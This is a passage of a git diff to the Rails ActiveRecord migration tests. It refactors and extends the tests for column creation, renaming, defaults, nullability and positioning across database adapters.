+ assert_equal %w(testingid foo), connection.columns(:testings).map(&:name)
end
def test_create_table_raises_when_redefining_primary_key_column
@@ -153,8 +195,11 @@ module ActiveRecord
end
def test_create_table_with_timestamps_should_create_datetime_columns
- connection.create_table table_name do |t|
- t.timestamps
+ # FIXME: Remove the silence when we change the default `null` behavior
+ ActiveSupport::Deprecation.silence do
+ connection.create_table table_name do |t|
+ t.timestamps
+ end
end
created_columns = connection.columns(table_name)
@@ -182,20 +227,18 @@ module ActiveRecord
connection.create_table table_name
end
- def test_add_column_not_null_without_default
- # Sybase, and SQLite3 will not allow you to add a NOT NULL
- # column to a table without a default value.
- if current_adapter?(:SybaseAdapter, :SQLite3Adapter)
- skip "not supported on #{connection.class}"
- end
-
- connection.create_table :testings do |t|
- t.column :foo, :string
- end
- connection.add_column :testings, :bar, :string, :null => false
+ # SQLite3 will not allow you to add a NOT NULL
+ # column to a table without a default value.
+ unless current_adapter?(:SQLite3Adapter)
+ def test_add_column_not_null_without_default
+ connection.create_table :testings do |t|
+ t.column :foo, :string
+ end
+ connection.add_column :testings, :bar, :string, :null => false
- assert_raise(ActiveRecord::StatementInvalid) do
- connection.execute "insert into testings (foo, bar) values ('hello', NULL)"
+ assert_raise(ActiveRecord::StatementInvalid) do
+ connection.execute "insert into testings (foo, bar) values ('hello', NULL)"
+ end
end
end
@@ -205,18 +248,28 @@ module ActiveRecord
end
con = connection
- connection.enable_identity_insert("testings", true) if current_adapter?(:SybaseAdapter)
connection.execute "insert into testings (#{con.quote_column_name('id')}, #{con.quote_column_name('foo')}) values (1, 'hello')"
- connection.enable_identity_insert("testings", false) if current_adapter?(:SybaseAdapter)
assert_nothing_raised {connection.add_column :testings, :bar, :string, :null => false, :default => "default" }
assert_raises(ActiveRecord::StatementInvalid) do
- unless current_adapter?(:OpenBaseAdapter)
- connection.execute "insert into testings (#{con.quote_column_name('id')}, #{con.quote_column_name('foo')}, #{con.quote_column_name('bar')}) values (2, 'hello', NULL)"
- else
- connection.insert("INSERT INTO testings (#{con.quote_column_name('id')}, #{con.quote_column_name('foo')}, #{con.quote_column_name('bar')}) VALUES (2, 'hello', NULL)",
- "Testing Insert","id",2)
- end
+ connection.execute "insert into testings (#{con.quote_column_name('id')}, #{con.quote_column_name('foo')}, #{con.quote_column_name('bar')}) values (2, 'hello', NULL)"
+ end
+ end
+
+ def test_add_column_with_timestamp_type
+ connection.create_table :testings do |t|
+ t.column :foo, :timestamp
+ end
+
+ klass = Class.new(ActiveRecord::Base)
+ klass.table_name = 'testings'
+
+ assert_equal :datetime, klass.columns_hash['foo'].type
+
+ if current_adapter?(:PostgreSQLAdapter)
+ assert_equal 'timestamp without time zone', klass.columns_hash['foo'].sql_type
+ else
+ assert_equal klass.connection.type_to_sql('datetime'), klass.columns_hash['foo'].sql_type
end
end
@@ -235,7 +288,7 @@ module ActiveRecord
end
end
- def test_keeping_default_and_notnull_constaint_on_change
+ def test_keeping_default_and_notnull_constraints_on_change
connection.create_table :testings do |t|
t.column :title, :string
end
@@ -244,7 +297,7 @@ module ActiveRecord
person_klass.connection.add_column "testings", "wealth", :integer, :null => false, :default => 99
person_klass.reset_column_information
- assert_equal 99, person_klass.columns_hash["wealth"].default
+ assert_equal 99, person_klass.column_defaults["wealth"]
assert_equal false, person_klass.columns_hash["wealth"].null
# Oracle needs primary key value from sequence
if current_adapter?(:OracleAdapter)
@@ -256,20 +309,20 @@ module ActiveRecord
# change column default to see that column doesn't lose its not null definition
person_klass.connection.change_column_default "testings", "wealth", 100
person_klass.reset_column_information
- assert_equal 100, person_klass.columns_hash["wealth"].default
+ assert_equal 100, person_klass.column_defaults["wealth"]
assert_equal false, person_klass.columns_hash["wealth"].null
# rename column to see that column doesn't lose its not null and/or default definition
person_klass.connection.rename_column "testings", "wealth", "money"
person_klass.reset_column_information
assert_nil person_klass.columns_hash["wealth"]
- assert_equal 100, person_klass.columns_hash["money"].default
+ assert_equal 100, person_klass.column_defaults["money"]
assert_equal false, person_klass.columns_hash["money"].null
# change column
person_klass.connection.change_column "testings", "money", :integer, :null => false, :default => 1000
person_klass.reset_column_information
- assert_equal 1000, person_klass.columns_hash["money"].default
+ assert_equal 1000, person_klass.column_defaults["money"]
assert_equal false, person_klass.columns_hash["money"].null
# change column, make it nullable and clear default
@@ -287,13 +340,29 @@ module ActiveRecord
assert_equal 2000, connection.select_values("SELECT money FROM testings").first.to_i
end
+ def test_change_column_null
+ testing_table_with_only_foo_attribute do
+ notnull_migration = Class.new(ActiveRecord::Migration) do
+ def change
+ change_column_null :testings, :foo, false
+ end
+ end
+ notnull_migration.new.suppress_messages do
+ notnull_migration.migrate(:up)
+ assert_equal false, connection.columns(:testings).find{ |c| c.name == "foo"}.null
+ notnull_migration.migrate(:down)
+ assert connection.columns(:testings).find{ |c| c.name == "foo"}.null
+ end
+ end
+ end
+
def test_column_exists
connection.create_table :testings do |t|
t.column :foo, :string
end
assert connection.column_exists?(:testings, :foo)
- refute connection.column_exists?(:testings, :bar)
+ assert_not connection.column_exists?(:testings, :bar)
end
def test_column_exists_with_type
@@ -303,10 +372,10 @@ module ActiveRecord
end
assert connection.column_exists?(:testings, :foo, :string)
- refute connection.column_exists?(:testings, :foo, :integer)
+ assert_not connection.column_exists?(:testings, :foo, :integer)
assert connection.column_exists?(:testings, :bar, :decimal)
- refute connection.column_exists?(:testings, :bar, :integer)
+ assert_not connection.column_exists?(:testings, :bar, :integer)
end
def test_column_exists_with_definition
@@ -318,13 +387,13 @@ module ActiveRecord
end
assert connection.column_exists?(:testings, :foo, :string, limit: 100)
- refute connection.column_exists?(:testings, :foo, :string, limit: nil)
+ assert_not connection.column_exists?(:testings, :foo, :string, limit: nil)
assert connection.column_exists?(:testings, :bar, :decimal, precision: 8, scale: 2)
- refute connection.column_exists?(:testings, :bar, :decimal, precision: nil, scale: nil)
+ assert_not connection.column_exists?(:testings, :bar, :decimal, precision: nil, scale: nil)
assert connection.column_exists?(:testings, :taggable_id, :integer, null: false)
- refute connection.column_exists?(:testings, :taggable_id, :integer, null: true)
+ assert_not connection.column_exists?(:testings, :taggable_id, :integer, null: true)
assert connection.column_exists?(:testings, :taggable_type, :string, default: 'Photo')
- refute connection.column_exists?(:testings, :taggable_type, :string, default: nil)
+ assert_not connection.column_exists?(:testings, :taggable_type, :string, default: nil)
end
def test_column_exists_on_table_with_no_options_parameter_supplied
diff --git a/activerecord/test/cases/migration/change_table_test.rb b/activerecord/test/cases/migration/change_table_test.rb
index 8fb03cdee0..7010af5434 100644
--- a/activerecord/test/cases/migration/change_table_test.rb
+++ b/activerecord/test/cases/migration/change_table_test.rb
@@ -1,26 +1,14 @@
require "cases/migration/helper"
+require "minitest/mock"
module ActiveRecord
class Migration
class TableTest < ActiveRecord::TestCase
- class MockConnection < MiniTest::Mock
- def native_database_types
- {
- :string => 'varchar(255)',
- :integer => 'integer',
- }
- end
-
- def type_to_sql(type, limit, precision, scale)
- native_database_types[type]
- end
- end
-
def setup
- @connection = MockConnection.new
+ @connection = Minitest::Mock.new
end
- def teardown
+ teardown do
assert @connection.verify
end
@@ -84,40 +72,46 @@ module ActiveRecord
end
end
- def test_timestamps_creates_updated_at_and_created_at
+ def test_references_column_type_with_polymorphic_and_type
with_change_table do |t|
- @connection.expect :add_timestamps, nil, [:delete_me]
- t.timestamps
+ @connection.expect :add_reference, nil, [:delete_me, :taggable, polymorphic: true, type: :string]
+ t.references :taggable, polymorphic: true, type: :string
end
end
- def test_remove_timestamps_creates_updated_at_and_created_at
+ def test_remove_references_column_type_with_polymorphic_and_type
with_change_table do |t|
- @connection.expect :remove_timestamps, nil, [:delete_me]
- t.remove_timestamps
+ @connection.expect :remove_reference, nil, [:delete_me, :taggable, polymorphic: true, type: :string]
+ t.remove_references :taggable, polymorphic: true, type: :string
end
end
- def string_column
- @connection.native_database_types[:string]
+ def test_timestamps_creates_updated_at_and_created_at
+ with_change_table do |t|
+ @connection.expect :add_timestamps, nil, [:delete_me, null: true]
+ t.timestamps null: true
+ end
end
- def integer_column
- @connection.native_database_types[:integer]
+ def test_remove_timestamps_creates_updated_at_and_created_at
+ with_change_table do |t|
+ @connection.expect :remove_timestamps, nil, [:delete_me, { null: true }]
+ t.remove_timestamps({ null: true })
+ end
end
def test_integer_creates_integer_column
with_change_table do |t|
- @connection.expect :add_column, nil, [:delete_me, :foo, integer_column, {}]
- @connection.expect :add_column, nil, [:delete_me, :bar, integer_column, {}]
+ @connection.expect :add_column, nil, [:delete_me, :foo, :integer, {}]
+ @connection.expect :add_column, nil, [:delete_me, :bar, :integer, {}]
t.integer :foo, :bar
end
end
def test_string_creates_string_column
with_change_table do |t|
- @connection.expect :add_column, nil, [:delete_me, :foo, string_column, {}]
- @connection.expect :add_column, nil, [:delete_me, :bar, string_column, {}]
+ @connection.expect :add_column, nil, [:delete_me, :foo, :string, {}]
+ @connection.expect :add_column, nil, [:delete_me, :bar, :string, {}]
t.string :foo, :bar
end
end
@@ -194,14 +188,14 @@ module ActiveRecord
def test_remove_drops_single_column
with_change_table do |t|
- @connection.expect :remove_column, nil, [:delete_me, :bar]
+ @connection.expect :remove_columns, nil, [:delete_me, :bar]
t.remove :bar
end
end
def test_remove_drops_multiple_columns
with_change_table do |t|
- @connection.expect :remove_column, nil, [:delete_me, :bar, :baz]
+ @connection.expect :remove_columns, nil, [:delete_me, :bar, :baz]
t.remove :bar, :baz
end
end
@@ -219,6 +213,12 @@ module ActiveRecord
t.rename :bar, :baz
end
end
+
+ def test_table_name_set
+ with_change_table do |t|
+ assert_equal :delete_me, t.name
+ end
+ end
end
end
end
diff --git a/activerecord/test/cases/migration/column_attributes_test.rb b/activerecord/test/cases/migration/column_attributes_test.rb
index b88db384a0..763aa88f72 100644
--- a/activerecord/test/cases/migration/column_attributes_test.rb
+++ b/activerecord/test/cases/migration/column_attributes_test.rb
@@ -16,82 +16,81 @@ module ActiveRecord
end
def test_add_remove_single_field_using_string_arguments
- refute TestModel.column_methods_hash.key?(:last_name)
+ assert_no_column TestModel, :last_name
add_column 'test_models', 'last_name', :string
-
- TestModel.reset_column_information
-
- assert TestModel.column_methods_hash.key?(:last_name)
+ assert_column TestModel, :last_name
remove_column 'test_models', 'last_name'
-
- TestModel.reset_column_information
- refute TestModel.column_methods_hash.key?(:last_name)
+ assert_no_column TestModel, :last_name
end
def test_add_remove_single_field_using_symbol_arguments
- refute TestModel.column_methods_hash.key?(:last_name)
+ assert_no_column TestModel, :last_name
add_column :test_models, :last_name, :string
-
- TestModel.reset_column_information
- assert TestModel.column_methods_hash.key?(:last_name)
+ assert_column TestModel, :last_name
remove_column :test_models, :last_name
-
- TestModel.reset_column_information
- refute TestModel.column_methods_hash.key?(:last_name)
+ assert_no_column TestModel, :last_name
end
- def test_unabstracted_database_dependent_types
- skip "not supported" unless current_adapter?(:MysqlAdapter, :Mysql2Adapter)
-
- add_column :test_models, :intelligence_quotient, :tinyint
+ def test_add_column_without_limit
+ # TODO: limit: nil should work with all adapters.
+ skip "MySQL wrongly enforces a limit of 255" if current_adapter?(:MysqlAdapter, :Mysql2Adapter)
+ add_column :test_models, :description, :string, limit: nil
TestModel.reset_column_information
- assert_match(/tinyint/, TestModel.columns_hash['intelligence_quotient'].sql_type)
+ assert_nil TestModel.columns_hash["description"].limit
end
- # We specifically do a manual INSERT here, and then test only the SELECT
- # functionality. This allows us to more easily catch INSERT being broken,
- # but SELECT actually working fine.
- def test_native_decimal_insert_manual_vs_automatic
- correct_value = '0012345678901234567890.0123456789'.to_d
-
- connection.add_column "test_models", "wealth", :decimal, :precision => '30', :scale => '10'
-
- # Do a manual insertion
- if current_adapter?(:OracleAdapter)
- connection.execute "insert into test_models (id, wealth) values (people_seq.nextval, 12345678901234567890.0123456789)"
- elsif current_adapter?(:OpenBaseAdapter) || (current_adapter?(:MysqlAdapter) && Mysql.client_version < 50003) #before mysql 5.0.3 decimals stored as strings
- connection.execute "insert into test_models (wealth) values ('12345678901234567890.0123456789')"
- elsif current_adapter?(:PostgreSQLAdapter)
- connection.execute "insert into test_models (wealth) values (12345678901234567890.0123456789)"
- else
- connection.execute "insert into test_models (wealth) values (12345678901234567890.0123456789)"
+ if current_adapter?(:MysqlAdapter, :Mysql2Adapter)
+ def test_unabstracted_database_dependent_types
+ add_column :test_models, :intelligence_quotient, :tinyint
+ TestModel.reset_column_information
+ assert_match(/tinyint/, TestModel.columns_hash['intelligence_quotient'].sql_type)
end
+ end
- # SELECT
- row = TestModel.first
- assert_kind_of BigDecimal, row.wealth
+ unless current_adapter?(:SQLite3Adapter)
+ # We specifically do a manual INSERT here, and then test only the SELECT
+ # functionality. This allows us to more easily catch INSERT being broken,
+ # but SELECT actually working fine.
+ def test_native_decimal_insert_manual_vs_automatic
+ correct_value = '0012345678901234567890.0123456789'.to_d
+
+ connection.add_column "test_models", "wealth", :decimal, :precision => '30', :scale => '10'
+
+ # Do a manual insertion
+ if current_adapter?(:OracleAdapter)
+ connection.execute "insert into test_models (id, wealth) values (people_seq.nextval, 12345678901234567890.0123456789)"
+ elsif current_adapter?(:MysqlAdapter) && Mysql.client_version < 50003 #before MySQL 5.0.3 decimals stored as strings
+ connection.execute "insert into test_models (wealth) values ('12345678901234567890.0123456789')"
+ elsif current_adapter?(:PostgreSQLAdapter)
+ connection.execute "insert into test_models (wealth) values (12345678901234567890.0123456789)"
+ else
+ connection.execute "insert into test_models (wealth) values (12345678901234567890.0123456789)"
+ end
- # If this assert fails, that means the SELECT is broken!
- unless current_adapter?(:SQLite3Adapter)
- assert_equal correct_value, row.wealth
- end
+ # SELECT
+ row = TestModel.first
+ assert_kind_of BigDecimal, row.wealth
+
+ # If this assert fails, that means the SELECT is broken!
+ unless current_adapter?(:SQLite3Adapter)
+ assert_equal correct_value, row.wealth
+ end
- # Reset to old state
- TestModel.delete_all
+ # Reset to old state
+ TestModel.delete_all
- # Now use the Rails insertion
- TestModel.create :wealth => BigDecimal.new("12345678901234567890.0123456789")
+ # Now use the Rails insertion
+ TestModel.create :wealth => BigDecimal.new("12345678901234567890.0123456789")
- # SELECT
- row = TestModel.first
- assert_kind_of BigDecimal, row.wealth
+ # SELECT
+ row = TestModel.first
+ assert_kind_of BigDecimal, row.wealth
- # If these asserts fail, that means the INSERT (create function, or cast to SQL) is broken!
- unless current_adapter?(:SQLite3Adapter)
+ # If these asserts fail, that means the INSERT (create function, or cast to SQL) is broken!
assert_equal correct_value, row.wealth
end
end
@@ -104,101 +103,81 @@ module ActiveRecord
assert_equal 7, wealth_column.scale
end
- def test_change_column_preserve_other_column_precision_and_scale
- skip "only on sqlite3" unless current_adapter?(:SQLite3Adapter)
-
- connection.add_column 'test_models', 'last_name', :string
- connection.add_column 'test_models', 'wealth', :decimal, :precision => 9, :scale => 7
+ if current_adapter?(:SQLite3Adapter)
+ def test_change_column_preserve_other_column_precision_and_scale
+ connection.add_column 'test_models', 'last_name', :string
+ connection.add_column 'test_models', 'wealth', :decimal, :precision => 9, :scale => 7
- wealth_column = TestModel.columns_hash['wealth']
- assert_equal 9, wealth_column.precision
- assert_equal 7, wealth_column.scale
+ wealth_column = TestModel.columns_hash['wealth']
+ assert_equal 9, wealth_column.precision
+ assert_equal 7, wealth_column.scale
- connection.change_column 'test_models', 'last_name', :string, :null => false
- TestModel.reset_column_information
+ connection.change_column 'test_models', 'last_name', :string, :null => false
+ TestModel.reset_column_information
- wealth_column = TestModel.columns_hash['wealth']
- assert_equal 9, wealth_column.precision
- assert_equal 7, wealth_column.scale
+ wealth_column = TestModel.columns_hash['wealth']
+ assert_equal 9, wealth_column.precision
+ assert_equal 7, wealth_column.scale
+ end
end
- def test_native_types
- add_column "test_models", "first_name", :string
- add_column "test_models", "last_name", :string
- add_column "test_models", "bio", :text
- add_column "test_models", "age", :integer
- add_column "test_models", "height", :float
- add_column "test_models", "wealth", :decimal, :precision => '30', :scale => '10'
- add_column "test_models", "birthday", :datetime
- add_column "test_models", "favorite_day", :date
- add_column "test_models", "moment_of_truth", :datetime
- add_column "test_models", "male", :boolean
-
- TestModel.create :first_name => 'bob', :last_name => 'bobsen',
- :bio => "I was born ....", :age => 18, :height => 1.78,
- :wealth => BigDecimal.new("12345678901234567890.0123456789"),
- :birthday => 18.years.ago, :favorite_day => 10.days.ago,
- :moment_of_truth => "1782-10-10 21:40:18", :male => true
-
- bob = TestModel.first
- assert_equal 'bob', bob.first_name
- assert_equal 'bobsen', bob.last_name
- assert_equal "I was born ....", bob.bio
- assert_equal 18, bob.age
-
- # Test for 30 significant digits (beyond the 16 of float), 10 of them
- # after the decimal place.
-
- unless current_adapter?(:SQLite3Adapter)
- assert_equal BigDecimal.new("0012345678901234567890.0123456789"), bob.wealth
- end
+ unless current_adapter?(:SQLite3Adapter)
+ def test_native_types
+ add_column "test_models", "first_name", :string
+ add_column "test_models", "last_name", :string
+ add_column "test_models", "bio", :text
+ add_column "test_models", "age", :integer
+ add_column "test_models", "height", :float
+ add_column "test_models", "wealth", :decimal, :precision => '30', :scale => '10'
+ add_column "test_models", "birthday", :datetime
+ add_column "test_models", "favorite_day", :date
+ add_column "test_models", "moment_of_truth", :datetime
+ add_column "test_models", "male", :boolean
+
+ TestModel.create :first_name => 'bob', :last_name => 'bobsen',
+ :bio => "I was born ....", :age => 18, :height => 1.78,
+ :wealth => BigDecimal.new("12345678901234567890.0123456789"),
+ :birthday => 18.years.ago, :favorite_day => 10.days.ago,
+ :moment_of_truth => "1782-10-10 21:40:18", :male => true
+
+ bob = TestModel.first
+ assert_equal 'bob', bob.first_name
+ assert_equal 'bobsen', bob.last_name
+ assert_equal "I was born ....", bob.bio
+ assert_equal 18, bob.age
+
+ # Test for 30 significant digits (beyond the 16 of float), 10 of them
+ # after the decimal place.
- assert_equal true, bob.male?
+ assert_equal BigDecimal.new("0012345678901234567890.0123456789"), bob.wealth
- assert_equal String, bob.first_name.class
- assert_equal String, bob.last_name.class
- assert_equal String, bob.bio.class
- assert_equal Fixnum, bob.age.class
- assert_equal Time, bob.birthday.class
+ assert_equal true, bob.male?
- if current_adapter?(:OracleAdapter, :SybaseAdapter)
- # Sybase, and Oracle don't differentiate between date/time
- assert_equal Time, bob.favorite_day.class
- else
- assert_equal Date, bob.favorite_day.class
- end
+ assert_equal String, bob.first_name.class
+ assert_equal String, bob.last_name.class
+ assert_equal String, bob.bio.class
+ assert_equal Fixnum, bob.age.class
+ assert_equal Time, bob.birthday.class
- # Oracle adapter stores Time or DateTime with timezone value already in _before_type_cast column
- # therefore no timezone change is done afterwards when default timezone is changed
- unless current_adapter?(:OracleAdapter)
- # Test DateTime column and defaults, including timezone.
- # FIXME: moment of truth may be Time on 64-bit platforms.
- if bob.moment_of_truth.is_a?(DateTime)
-
- with_env_tz 'US/Eastern' do
- bob.reload
- assert_equal DateTime.local_offset, bob.moment_of_truth.offset
- assert_not_equal 0, bob.moment_of_truth.offset
- assert_not_equal "Z", bob.moment_of_truth.zone
- # US/Eastern is -5 hours from GMT
- assert_equal Rational(-5, 24), bob.moment_of_truth.offset
- assert_match(/\A-05:00\Z/, bob.moment_of_truth.zone)
- assert_equal DateTime::ITALY, bob.moment_of_truth.start
- end
+ if current_adapter?(:OracleAdapter)
+ # Oracle doesn't differentiate between date/time
+ assert_equal Time, bob.favorite_day.class
+ else
+ assert_equal Date, bob.favorite_day.class
end
- end
- assert_instance_of TrueClass, bob.male?
- assert_kind_of BigDecimal, bob.wealth
+ assert_instance_of TrueClass, bob.male?
+ assert_kind_of BigDecimal, bob.wealth
+ end
end
- def test_out_of_range_limit_should_raise
- skip("MySQL and PostgreSQL only") unless current_adapter?(:MysqlAdapter, :Mysql2Adapter, :PostgreSQLAdapter)
+ if current_adapter?(:MysqlAdapter, :Mysql2Adapter, :PostgreSQLAdapter)
+ def test_out_of_range_limit_should_raise
+ assert_raise(ActiveRecordError) { add_column :test_models, :integer_too_big, :integer, :limit => 10 }
- assert_raise(ActiveRecordError) { add_column :test_models, :integer_too_big, :integer, :limit => 10 }
-
- unless current_adapter?(:PostgreSQLAdapter)
- assert_raise(ActiveRecordError) { add_column :test_models, :text_too_big, :integer, :limit => 0xfffffffff }
+ unless current_adapter?(:PostgreSQLAdapter)
+ assert_raise(ActiveRecordError) { add_column :test_models, :text_too_big, :integer, :limit => 0xfffffffff }
+ end
end
end
end
diff --git a/activerecord/test/cases/migration/column_positioning_test.rb b/activerecord/test/cases/migration/column_positioning_test.rb
index 913d935f7c..62186e13a5 100644
--- a/activerecord/test/cases/migration/column_positioning_test.rb
+++ b/activerecord/test/cases/migration/column_positioning_test.rb
@@ -9,10 +9,6 @@ module ActiveRecord
def setup
super
- unless current_adapter?(:MysqlAdapter, :Mysql2Adapter)
- skip "not supported on #{connection.class}"
- end
-
@connection = ActiveRecord::Base.connection
connection.create_table :testings, :id => false do |t|
@@ -22,39 +18,39 @@ module ActiveRecord
end
end
- def teardown
- super
+ teardown do
connection.drop_table :testings rescue nil
ActiveRecord::Base.primary_key_prefix_type = nil
end
- def test_column_positioning
- assert_equal %w(first second third), conn.columns(:testings).map {|c| c.name }
- end
+ if current_adapter?(:MysqlAdapter, :Mysql2Adapter)
+ def test_column_positioning
+ assert_equal %w(first second third), conn.columns(:testings).map(&:name)
+ end
- def test_add_column_with_positioning
- conn.add_column :testings, :new_col, :integer
- assert_equal %w(first second third new_col), conn.columns(:testings).map {|c| c.name }
- end
+ def test_add_column_with_positioning
+ conn.add_column :testings, :new_col, :integer
+ assert_equal %w(first second third new_col), conn.columns(:testings).map(&:name)
+ end
- def test_add_column_with_positioning_first
- conn.add_column :testings, :new_col, :integer, :first => true
- assert_equal %w(new_col first second third), conn.columns(:testings).map {|c| c.name }
- end
+ def test_add_column_with_positioning_first
+ conn.add_column :testings, :new_col, :integer, :first => true
+ assert_equal %w(new_col first second third), conn.columns(:testings).map(&:name)
+ end
- def test_add_column_with_positioning_after
- conn.add_column :testings, :new_col, :integer, :after => :first
- assert_equal %w(first new_col second third), conn.columns(:testings).map {|c| c.name }
- end
+ def test_add_column_with_positioning_after
+ conn.add_column :testings, :new_col, :integer, :after => :first
+ assert_equal %w(first new_col second third), conn.columns(:testings).map(&:name)
+ end
- def test_change_column_with_positioning
- conn.change_column :testings, :second, :integer, :first => true
- assert_equal %w(second first third), conn.columns(:testings).map {|c| c.name }
+ def test_change_column_with_positioning
+ conn.change_column :testings, :second, :integer, :first => true
+ assert_equal %w(second first third), conn.columns(:testings).map(&:name)
- conn.change_column :testings, :second, :integer, :after => :third
- assert_equal %w(first third second), conn.columns(:testings).map {|c| c.name }
+ conn.change_column :testings, :second, :integer, :after => :third
+ assert_equal %w(first third second), conn.columns(:testings).map(&:name)
+ end
end
-
end
end
end
diff --git a/activerecord/test/cases/migration/columns_test.rb b/activerecord/test/cases/migration/columns_test.rb
new file mode 100644
index 0000000000..e6aa901814
--- /dev/null
+++ b/activerecord/test/cases/migration/columns_test.rb
@@ -0,0 +1,299 @@
+require "cases/migration/helper"
+
+module ActiveRecord
+ class Migration
+ class ColumnsTest < ActiveRecord::TestCase
+ include ActiveRecord::Migration::TestHelper
+
+ self.use_transactional_fixtures = false
+
+ # FIXME: this is more of an integration test with AR::Base and the
+ # schema modifications. Maybe we should move this?
+ def test_add_rename
+ add_column "test_models", "girlfriend", :string
+ TestModel.reset_column_information
+
+ TestModel.create :girlfriend => 'bobette'
+
+ rename_column "test_models", "girlfriend", "exgirlfriend"
+
+ TestModel.reset_column_information
+ bob = TestModel.first
+
+ assert_equal "bobette", bob.exgirlfriend
+ end
+
+ # FIXME: another integration test. We should decouple this from the
+ # AR::Base implementation.
+ def test_rename_column_using_symbol_arguments
+ add_column :test_models, :first_name, :string
+
+ TestModel.create :first_name => 'foo'
+
+ rename_column :test_models, :first_name, :nick_name
+ TestModel.reset_column_information
+ assert TestModel.column_names.include?("nick_name")
+ assert_equal ['foo'], TestModel.all.map(&:nick_name)
+ end
+
+ # FIXME: another integration test. We should decouple this from the
+ # AR::Base implementation.
+ def test_rename_column
+ add_column "test_models", "first_name", "string"
+
+ TestModel.create :first_name => 'foo'
+
+ rename_column "test_models", "first_name", "nick_name"
+ TestModel.reset_column_information
+ assert TestModel.column_names.include?("nick_name")
+ assert_equal ['foo'], TestModel.all.map(&:nick_name)
+ end
+
+ def test_rename_column_preserves_default_value_not_null
+ add_column 'test_models', 'salary', :integer, :default => 70000
+
+ default_before = connection.columns("test_models").find { |c| c.name == "salary" }.default
+ assert_equal '70000', default_before
+
+ rename_column "test_models", "salary", "annual_salary"
+
+ assert TestModel.column_names.include?("annual_salary")
+ default_after = connection.columns("test_models").find { |c| c.name == "annual_salary" }.default
+ assert_equal '70000', default_after
+ end
+
+ if current_adapter?(:MysqlAdapter, :Mysql2Adapter)
+ def test_mysql_rename_column_preserves_auto_increment
+ rename_column "test_models", "id", "id_test"
+ assert_equal "auto_increment", connection.columns("test_models").find { |c| c.name == "id_test" }.extra
+ TestModel.reset_column_information
+ ensure
+ rename_column "test_models", "id_test", "id"
+ end
+ end
+
+ def test_rename_nonexistent_column
+ exception = if current_adapter?(:PostgreSQLAdapter, :OracleAdapter)
+ ActiveRecord::StatementInvalid
+ else
+ ActiveRecord::ActiveRecordError
+ end
+ assert_raise(exception) do
+ rename_column "test_models", "nonexistent", "should_fail"
+ end
+ end
+
+ def test_rename_column_with_sql_reserved_word
+ add_column 'test_models', 'first_name', :string
+ rename_column "test_models", "first_name", "group"
+
+ assert TestModel.column_names.include?("group")
+ end
+
+ def test_rename_column_with_an_index
+ add_column "test_models", :hat_name, :string
+ add_index :test_models, :hat_name
+
+ assert_equal 1, connection.indexes('test_models').size
+ rename_column "test_models", "hat_name", "name"
+
+ assert_equal ['index_test_models_on_name'], connection.indexes('test_models').map(&:name)
+ end
+
+ def test_rename_column_with_multi_column_index
+ add_column "test_models", :hat_size, :integer
+ add_column "test_models", :hat_style, :string, limit: 100
+ add_index "test_models", ["hat_style", "hat_size"], unique: true
+
+ rename_column "test_models", "hat_size", 'size'
+ if current_adapter? :OracleAdapter
+ assert_equal ['i_test_models_hat_style_size'], connection.indexes('test_models').map(&:name)
+ else
+ assert_equal ['index_test_models_on_hat_style_and_size'], connection.indexes('test_models').map(&:name)
+ end
+
+ rename_column "test_models", "hat_style", 'style'
+ if current_adapter? :OracleAdapter
+ assert_equal ['i_test_models_style_size'], connection.indexes('test_models').map(&:name)
+ else
+ assert_equal ['index_test_models_on_style_and_size'], connection.indexes('test_models').map(&:name)
+ end
+ end
+
+ def test_rename_column_does_not_rename_custom_named_index
+ add_column "test_models", :hat_name, :string
+ add_index :test_models, :hat_name, :name => 'idx_hat_name'
+
+ assert_equal 1, connection.indexes('test_models').size
+ rename_column "test_models", "hat_name", "name"
+ assert_equal ['idx_hat_name'], connection.indexes('test_models').map(&:name)
+ end
+
+ def test_remove_column_with_index
+ add_column "test_models", :hat_name, :string
+ add_index :test_models, :hat_name
+
+ assert_equal 1, connection.indexes('test_models').size
+ remove_column("test_models", "hat_name")
+ assert_equal 0, connection.indexes('test_models').size
+ end
+
+ def test_remove_column_with_multi_column_index
+ add_column "test_models", :hat_size, :integer
+ add_column "test_models", :hat_style, :string, :limit => 100
+ add_index "test_models", ["hat_style", "hat_size"], :unique => true
+
+ assert_equal 1, connection.indexes('test_models').size
+ remove_column("test_models", "hat_size")
+
+ # Every database and/or database adapter has their own behavior
+ # if it drops the multi-column index when any of the indexed columns dropped by remove_column.
+ if current_adapter?(:PostgreSQLAdapter, :OracleAdapter)
+ assert_equal [], connection.indexes('test_models').map(&:name)
+ else
+ assert_equal ['index_test_models_on_hat_style_and_hat_size'], connection.indexes('test_models').map(&:name)
+ end
+ end
+
+ def test_change_type_of_not_null_column
+ change_column "test_models", "updated_at", :datetime, :null => false
+ change_column "test_models", "updated_at", :datetime, :null => false
+
+ TestModel.reset_column_information
+ assert_equal false, TestModel.columns_hash['updated_at'].null
+ ensure
+ change_column "test_models", "updated_at", :datetime, :null => true
+ end
+
+ def test_change_column_nullability
+ add_column "test_models", "funny", :boolean
+ assert TestModel.columns_hash["funny"].null, "Column 'funny' must initially allow nulls"
+
+ change_column "test_models", "funny", :boolean, :null => false, :default => true
+
+ TestModel.reset_column_information
+ assert_not TestModel.columns_hash["funny"].null, "Column 'funny' must *not* allow nulls at this point"
+
+ change_column "test_models", "funny", :boolean, :null => true
+ TestModel.reset_column_information
+ assert TestModel.columns_hash["funny"].null, "Column 'funny' must allow nulls again at this point"
+ end
+
+ def test_change_column
+ add_column 'test_models', 'age', :integer
+ add_column 'test_models', 'approved', :boolean, :default => true
+
+ old_columns = connection.columns(TestModel.table_name)
+
+ assert old_columns.find { |c| c.name == 'age' && c.type == :integer }
+
+ change_column "test_models", "age", :string
+
+ new_columns = connection.columns(TestModel.table_name)
+
+ assert_not new_columns.find { |c| c.name == 'age' and c.type == :integer }
+ assert new_columns.find { |c| c.name == 'age' and c.type == :string }
+
+ old_columns = connection.columns(TestModel.table_name)
+ assert old_columns.find { |c|
+ default = c.type_cast_from_database(c.default)
+ c.name == 'approved' && c.type == :boolean && default == true
+ }
+
+ change_column :test_models, :approved, :boolean, :default => false
+ new_columns = connection.columns(TestModel.table_name)
+
+ assert_not new_columns.find { |c|
+ default = c.type_cast_from_database(c.default)
+ c.name == 'approved' and c.type == :boolean and default == true
+ }
+ assert new_columns.find { |c|
+ default = c.type_cast_from_database(c.default)
+ c.name == 'approved' and c.type == :boolean and default == false
+ }
+ change_column :test_models, :approved, :boolean, :default => true
+ end
+
+ def test_change_column_with_nil_default
+ add_column "test_models", "contributor", :boolean, :default => true
+ assert TestModel.new.contributor?
+
+ change_column "test_models", "contributor", :boolean, :default => nil
+ TestModel.reset_column_information
+ assert_not TestModel.new.contributor?
